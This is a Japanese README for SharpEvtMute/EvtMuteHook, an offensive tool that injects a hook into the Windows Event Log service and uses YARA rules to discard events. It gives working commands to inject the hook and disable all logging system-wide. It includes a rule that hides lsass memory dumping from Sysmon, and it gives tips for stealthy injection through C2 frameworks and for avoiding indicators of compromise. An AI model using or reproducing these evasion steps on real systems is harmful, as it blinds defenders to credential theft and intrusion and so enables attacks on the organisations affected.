
これは、Windowsイベントログによって報告されるイベントにフィルターを適用するためにYARAを攻撃的に使用できるツールです。
最新バージョンはこちらから入手してください。EvtMuteHook.dll にはコア機能が含まれており、インジェクションされると一時的なフィルターが適用され、すべてのイベントが報告されるようになります。このフィルターは再インジェクションしなくても動的に更新できます。私は SharpEvtMute.exe を作成しました。これはC#アセンブリで、shad0wの execute やcobalt strikeの execute-assembly で簡単に実行できます。shad0wとの統合をさらに向上させるために、C言語でネイティブバージョンを作成する予定です。
簡単なユースケースとして、システム全体でイベントログを無効にすることが挙げられます。これを行うには、以下のyaraルールを使用します。
rule disable { condition: true }
まず、イベントサービスにフックをインジェクションする必要があります。
.\SharpEvtMute.exe --Inject

フックが配置されたので、フィルターを追加します。
.\SharpEvtMute.exe --Filter "rule disable { condition: true }"

これで、すべてのイベントがイベントサービスによって破棄されるようになります。
フィルターはフックを再インジェクションしなくても動的に変更できます。これにより、アクティブなフィルターを迅速かつ簡単に更新できます。
より複雑なフィルターの例を以下に示します。これは、lsassメモリダンプに関連するイベントがsysmonによって報告されるのをブロックすることができます。
rule block_lsass_dump {
meta:
author = "@_batsec_"
description = "Prevent lsass dumping being reported by sysmon"
strings:
$provider = "Microsoft-Windows-Sysmon"
$image = "lsass.exe" nocase
$access = "GrantedAccess"
$type = "0x1fffff"
condition:
all of them
}
このような複雑なルールを一行に凝縮するのは非常に困難です。そのため、base64エンコードされたルールを指定できる機能を追加しました。
ルールはLinuxのコマンドラインから簡単にbase64に変換できます。
base64 -w 0 YaraFilters/lsassdump.yar | echo $(</dev/stdin)
次に、--Encoded フラグを使用してフィルターとして渡します。

フックをインジェクションする際、SharpEvtMute.exe は CreateRemoteThread を呼び出します。この呼び出しはフックが配置される前に行われるため、Sysmonによって報告されます。これは、SharpEvtMute.exe のインジェクション機能はPoCとしてのみ使用すべきだからです。ステルス性が重要な場合は、EvtMuteHook.dll をイベントログサービスに手動でインジェクションすることをお勧めします。
そのPIDは SharpEvtMute.exe --Pid を実行することで確認できます。フックは、C2フレームワーク(例:shad0wの shinject)を使用して、シェルコード(EvtMuteBinで make を実行)を手動でインジェクションすることにより配置できます。
また、フックは名前付きパイプを使用してフィルターを更新することに注意してください。名前付きパイプは EvtMuteHook_Rule_Pipe と呼ばれます(この名前は簡単に変更できます)。この名前を含むイベントが自動的に破棄されるように、フックにはルールがハードベイクされていますが、それでもリスニング中のIOCとなるため、変更することをお勧めします。
便利なフィルターを作成した場合は、YaraFilters ディレクトリにプルリクエストを送信してください。誰もが恩恵を受けられる、一般的なアクションを隠すための優れたフィルターコレクションがあると素晴らしいと思います。